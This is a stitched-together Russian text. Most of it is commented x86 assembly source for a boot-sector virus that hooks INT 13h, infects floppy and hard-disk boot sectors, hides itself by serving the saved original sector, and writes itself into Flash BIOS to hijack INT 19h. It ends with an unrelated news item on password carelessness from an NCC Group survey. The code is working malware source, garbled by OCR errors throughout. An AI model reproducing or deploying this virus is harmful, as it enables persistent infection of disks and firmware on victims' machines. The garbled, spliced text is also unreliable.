;Сюда попадаем, когда происходит чтение boot-сектора. Скрываем
[Присутствие вируса методом чтения оригинального boot-сектора
Stealth:
Остановим значения сектора, где хранится копия оригинального
iboot-сектора
mov cx,02h
mov ax,0201h
[Проверим, откуда считан boot-сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
Прочтем копию оригинального boot-сектора. Так как
;номера секторов подменены, фактически "копия выдается
;за оригинал" - скрываем свое присутствие (Stealth).
call int13h
[Выходим из обработчика прерывания
jmp pop_exit
;Проверка наличия резидентного вируса - ответим:
;запрос INT 13h (AX=ABBAh), ответ AX=BMBh
resJest:
xchg ah,al
iret
.Обработчик прерывания INT 13h
Handler:
.Если при вызове в АХ находится ABBAh,
.значит это проверка наличия резидентного вируса
cmp ax.OABBAh
je resJest
[Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah,2
jne jend
--------------------------------------------------------------------------------
[Проверяем номера дорожки и сектора, интересуясь только теми
.секторами, в которых может оказаться вирус -
;дорожка 0, головка 0, сектор 1
cmp cx,1
jne jend
[Проверим номер головки. Если не 0, то запустим
[Оригинальный обработчик
cmp dh,0
jne jend
tryJnfect:
;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h
call int13h
jc jend
[Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push ex
push dx
push si
push di
push es
push ds
Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker],”LV”
je stealth
;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot-ceKTOp (с дискеты или с жесткого диска)
cmp dl,80h
jb infect_floppy
.Установим номера дорожки, головки и сектора для жесткого
.диска для сохранения оригинального boot-сектора
mov cx,2
xor dh.dh
——————————————————————————–
jmp write_virus
lnfect_Floppy:
;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot-сектора
mov сх,14
mov dh,1
Write_Virus:

Записываем оригинальный boot-сектор
mov ax,0301h
call int-lSh
jc pop_exit
;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0
;3апишем тело вируса в boot-сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh.dh
call int13h
восстановим регистры и флаги (как раз те их значения, которые
[свидетельствует о том, что boot-сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop ex
pop bx
pop ax
popf
--------------------------------------------------------------------------------
[Выходим из обработчика в вызывающую программу
retf 2
;3апуск оригинального обработчика
J'end:
DD OEAh .Код команды JMP FAR
;0ригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
lnt13h proc near
pushf
call dword ptr cs:[i13]
ret
lnt13h endp
Первые два байта слова используются как сигнатура
Marker db “VLAD”
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
Проверим наличие Flash BIOS
mov ax.OEOOOh
int 16h
jc no_flash_bios
cmp al.OFAh
jne no_flash_bios
;Сначала найдем хорошее место для хранения вируса.
Лросканируем память FOOOh-FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
lnfect_Flash:
Остановим начальный сегмент для поиска
mov ax.OFOOOh
mov ds.ax
Проверим сегмент
New_segment:
——————————————————————————–
Остановим стартовое смещение
xor si,si
Остановим счетчик найденных байт
;(величина свободного места для вируса)
xor dx.dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
Проверим, есть ли еще место для вируса
cmp ax.OFFFOh
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test-16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
• inc dx
Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт, но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512 слов)
cmp dx,512
je found_storage
[Увеличим смещение проверяемого байта
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;B эту точку попадаем, если место найдено
Found_storage:
-------------------------------------------------------------------------------
Перейдем к началу зоны
sub ax,40h
mov ds.ax
.Получим требования к сохранению состояния чипа
mov ax,OE001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
[Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
записывать некуда - выходим
No_Flash_BIOS:
ret
[Сохраним состояние чипа
save_chipset:
[Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
.Сохраним состояние
mov al,2
push cs
pop es
mov di, offset buffer
int 16h
[Записываемся во Flash BIOS
write_enable:
[Повышаем напряжение
mov al,5
int 16h
--------------------------------------------------------------------------------
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
.Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di.di
mov ex,512
push cs
pop ds
xor si,si
eld
rep movsb
;3десь нужна особая осторожность. lnt19h указывает на BIOS,
;позднее оно перехватывается различными программами.
.Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно - "внедриться" в int19h.
;Можно перехватить его в том месте, где находится
сохраненная таблица векторов, но сделаем интереснее.
.Получим смещение оригинального обработчика int19h
mov bx.es ;ВХ=сегмент вируса
xor ах.ах
mov ds.ax ;DS=Ta6nHua векторов
mov di.word ptr [19h*4] ;Смещение INT 19h
mov es.word ptr [19h*4+2] ;Сегмент INT 19h
;3апишем JMP FAR по адресу точки входа в INT 19h
mov al.OEAh
stosb
mov ax,offset int19handler
stosw
mov ax.bx
stosw
.Понизим напряжение
mov ax,OE004h
int 16h
——————————————————————————–
;3ащитим Flash BIOS от записи
mov al,6
int 16h
;Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS
.Восстановим состояние чипа
push cs
pop es
mov al,3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
;Флаг несохранения состояния чипа
chipset db 0
;Флаг присутствия вируса во Flash BIOS
flash_done db 0
;Наш обработчик INT 19h.
lnt19Handler Proc Near
;Установим сегментный регистр ES в ноль
хог ах.ах
mov es.ax
[Проверим наличие резидентного вируса
mov ax.OABBAh
int 13h
;Если вирус присутствует, то запускаем оригинальный
[обработчик прерывания INT 19h
cmp ax.OBAABh
jne realJnt19h
[Перенесем вирус из BIOS в boot-буфер
push cs
pop ds
-------------------------------------------------------------------------------
eld
xor si,si
mov di,7c00h
mov ex,512
rep movsb
;3апустим вирус в boot-буфере
mov dl,80h
jmp goto_Buffer
Real_int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
Лроинициализируем значения регистров для загрузки boot-сектора
mov ex, 1
mov dh,0
mov ax,0201h
mov bx,7COOh
.Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска
cmp dl,0
J'a hd_int19h
;Прочтем boot-сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7COOh+offset flash_done],1
;3апустим boot-сектор, находящийся в boot-буфере
db OEAh ;Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
——————————————————————————–
[Установим номер диска для загрузки (диск С)
mov dl,80h
HD_lnt19h:
Произведем сброс дисковой подсистемы
хог ах,ах
int 13h
.Прочтем boot-сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer
;Если не удалось загрузить boot-сектор,
.вызываем прерывание INT 18h
Boot:
int 18h
lnt19Handler EndP
Flash_BIOS EndP
End_Virus:
;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510-offset End_Virus
Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah

интернетконецформыначалоформыПо мере того, как возрастает защищенность ИТ-инфраструктуры компаний, хакеры все больше обращаются к методам социального инжиниринга, чтобы выманить у неосторожных пользователей пароли для входа в корпоративные сети. Как показало новое исследование, проведенное специалистами по информационной безопасности, когда дело доходит до выбора и сохранения в тайне паролей, рядовые пользователи все еще выступают в роли слабого звена. Согласно исследованию, проведенному консалтинговой компанией NCC Group, 15% участников онлайнового опроса, которым предложили ввести свой пароль для входа в корпоративную сеть, чтобы поучаствовать в розыгрыше приза, были готовы без лишних сомнений предоставить эту информацию.
По словам Пола Влиссидиса (Paul Vlissidis) из NCC Group, основная проблема персонала, и особенно – ИТ-служб, которые должны лучше разбираться в предмете, – это халатное отношение к паролям, что ставит под угрозу защищенность корпоративных сетей. “Вопрос заключается в том, что лень и невежество приводят к проблемам с безопасностью сетей, – отмечает он. – Пароли играют сейчас еще большую роль – с появлением широкополосной связи в домах все больше сотрудников пользуются удаленным соединением”. И по мере того, как ИТ-подразделения совершенствуют защиту офисных сетей, хакерам приходится все чаще прибегать к методам социального инжиниринга, чтобы выманить пароли у пользователей.
В качестве примеров халатного отношения к паролям Пол Влиссидис назвал случаи, когда весь отдел компании совместно использует пароли, или когда в качестве пароля выбирается какое-либо популярное слово – название футбольного клуба и т.п. Топ-менеджеры компаний часто больше других нарушают правила выбора и использования паролей, отметил эксперт, напоминая, что в качестве пароля лучше использовать не слова, а сочетания букв и цифр. Чтобы не забыть пароль, можно выбрать любимую песню или стихотворение и взять первую букву из каждой строчки первого куплета, советует г-н Влиссидис, добавив несколько цифр. “Пока вы знаете, что это за песня, вы никогда не забудете пароль”, – утверждает он.